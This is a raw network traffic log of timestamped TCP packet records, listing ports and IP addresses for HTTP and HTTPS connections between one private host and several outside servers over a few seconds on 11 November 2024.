Nov 11, 2024 18:51:10.492873907 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.492893934 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.492913008 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.493061066 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.493134022 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.493221998 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.493232965 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.493252039 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.493268967 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.493520021 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.493530989 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.493542910 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.493558884 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.493587971 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.493967056 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.494004011 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.494158983 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.494193077 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.536665916 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.536695004 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.536706924 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.536725998 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.536758900 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.536890030 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.536927938 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.544039965 CET	52145	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:10.548118114 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.548147917 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.548996925 CET	80	52145	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:10.551872969 CET	52150	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:10.552578926 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:10.552613974 CET	443	50210	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:10.552634954 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:10.552660942 CET	50210	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:10.553061962 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.553080082 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.553464890 CET	52147	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:10.556720018 CET	80	52150	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:10.558255911 CET	80	52147	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:10.589891911 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:10.589946032 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:10.595668077 CET	52121	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:10.598285913 CET	50226	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:10.600440979 CET	80	52121	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:10.601330996 CET	52122	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:10.601587057 CET	52122	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:10.602781057 CET	50227	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:10.602978945 CET	50228	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.603178978 CET	80	50226	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:10.603332996 CET	50226	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:10.603477955 CET	50226	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:10.607605934 CET	80	50227	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:10.607656956 CET	50227	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:10.607768059 CET	80	50228	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.607810974 CET	50228	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.608225107 CET	80	50226	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:10.620594978 CET	50228	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:10.625365973 CET	80	50228	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:10.625415087 CET	50227	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:10.630270958 CET	80	50227	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:10.637952089 CET	52128	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:10.638961077 CET	52123	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:10.643511057 CET	80	52128	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:10.644624949 CET	80	52123	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:10.742697954 CET	80	52123	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:10.742762089 CET	52123	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:11.007024050 CET	80	52128	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:11.007061958 CET	52128	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:11.028491974 CET	80	50226	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:11.028634071 CET	50226	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:11.035465002 CET	80	50226	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:11.035550117 CET	50226	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:11.169269085 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169282913 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169296026 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169369936 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.169369936 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.169382095 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169498920 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.169543028 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169605970 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169617891 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169629097 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169640064 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.169642925 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.169642925 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.169692993 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.170239925 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.170332909 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.174195051 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.174269915 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.174329042 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.174343109 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.174384117 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.174384117 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.250477076 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.250511885 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.250524998 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.250539064 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.250562906 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.250722885 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.250735044 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.250755072 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.250755072 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.250864983 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.251014948 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.251108885 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.251117945 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.251280069 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.251319885 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.251319885 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.251327038 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.251338005 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.251389980 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.251389980 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.251816034 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.251851082 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.252008915 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.252019882 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.252032042 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.252043962 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.252054930 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.252060890 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.252060890 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.252388954 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.252840996 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.252896070 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.253021955 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.253031969 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.253070116 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.253070116 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.253417969 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.253431082 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.253459930 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.253721952 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.253731012 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.253745079 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.253774881 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.253774881 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.255470037 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.255549908 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.255582094 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.255695105 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.255731106 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.255731106 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.331645966 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.331742048 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.332623005 CET	80	50217	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.332802057 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.524477005 CET	80	50227	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:11.524535894 CET	50227	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:11.756905079 CET	50234	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:11.765675068 CET	80	50234	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:11.765773058 CET	50234	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:11.776649952 CET	50234	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:11.786225080 CET	80	50234	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:11.898901939 CET	50235	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:11.899713039 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:11.903752089 CET	80	50235	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:11.903826952 CET	50235	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:11.904671907 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:11.904804945 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:12.087395906 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:12.092629910 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:12.221431971 CET	80	50234	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:12.223562002 CET	50234	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:12.470735073 CET	80	50228	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:12.471105099 CET	50228	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.295645952 CET	50235	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:13.300685883 CET	80	50235	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:13.389913082 CET	80	50235	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:13.389966965 CET	50235	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:13.396689892 CET	80	50235	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:13.396745920 CET	50235	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:13.400578976 CET	50238	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:13.406059980 CET	80	50238	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:13.406114101 CET	50238	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:13.406519890 CET	50238	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:13.411389112 CET	80	50238	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:13.418508053 CET	50239	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.423754930 CET	80	50239	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:13.423826933 CET	50239	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.424192905 CET	50239	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.429207087 CET	80	50239	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:13.469182968 CET	50240	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:13.470139980 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.474246025 CET	80	50240	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:13.474302053 CET	50240	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:13.475183964 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.475246906 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.475754023 CET	50242	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.475848913 CET	50243	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:13.480829000 CET	80	50242	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:13.480849981 CET	80	50243	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:13.480885983 CET	50242	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.480920076 CET	50243	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:13.481998920 CET	50242	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.487613916 CET	80	50242	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:13.506819963 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.511802912 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.522728920 CET	50244	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:13.527710915 CET	80	50244	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:13.527787924 CET	50244	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:13.527920008 CET	50244	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:13.532928944 CET	80	50244	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:13.540594101 CET	50243	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:13.545913935 CET	80	50243	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:13.582881927 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.582953930 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.583087921 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.583098888 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.583133936 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.583167076 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.583590031 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.583601952 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.583636045 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.583652973 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.584451914 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.584465027 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.584503889 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.584503889 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.585352898 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.585365057 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.585421085 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.586185932 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.586246967 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.587841034 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.587908030 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.588012934 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.588056087 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.588526964 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.588578939 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.664012909 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.664078951 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.664222956 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.664233923 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.664283037 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.664721012 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.664735079 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.664767981 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.664783001 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.665591002 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.665607929 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.665642023 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.665663004 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.666254997 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.666270018 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.666312933 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.666327000 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.667069912 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.667083979 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.667136908 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.667192936 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.667967081 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.667980909 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.667990923 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.668020964 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.668057919 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.668857098 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.668869972 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.668903112 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.668929100 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.669796944 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.669810057 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.669836044 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.669853926 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.670644045 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.670655966 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.670669079 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.670686960 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.670701027 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.670722961 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.671363115 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.671380997 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.671391964 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.671431065 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.671431065 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.671453953 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.704633951 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.704714060 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.704773903 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.704786062 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.704854012 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.704854012 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.745094061 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.745147943 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.745208979 CET	80	50236	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:13.745260954 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:13.851310968 CET	80	50239	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:13.851377964 CET	50239	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.858803988 CET	80	50239	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:13.858853102 CET	50239	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.909781933 CET	80	50242	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:13.909835100 CET	50242	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.917582989 CET	80	50242	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:13.917643070 CET	50242	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:13.940130949 CET	80	50244	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:13.940191031 CET	50244	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:13.940260887 CET	50244	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:13.945103884 CET	80	50244	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:14.030466080 CET	80	50243	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:14.030524015 CET	50243	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:14.269490957 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.274576902 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.274657011 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.274794102 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.279789925 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.291445971 CET	80	50238	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:14.291523933 CET	50238	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:14.838155985 CET	80	50216	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.838207960 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.965106010 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.965157986 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.965285063 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.965297937 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.965334892 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.965946913 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.965959072 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.965990067 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.966801882 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.966816902 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.966836929 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.966869116 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.967444897 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.967456102 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.967467070 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.967482090 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.967505932 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.970809937 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.970952988 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.970982075 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.971002102 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:14.971206903 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:14.971237898 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.053874969 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.053997993 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.054011106 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.054045916 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.054081917 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.054538012 CET	80	50246	91.195.240.19	192.168.2.6
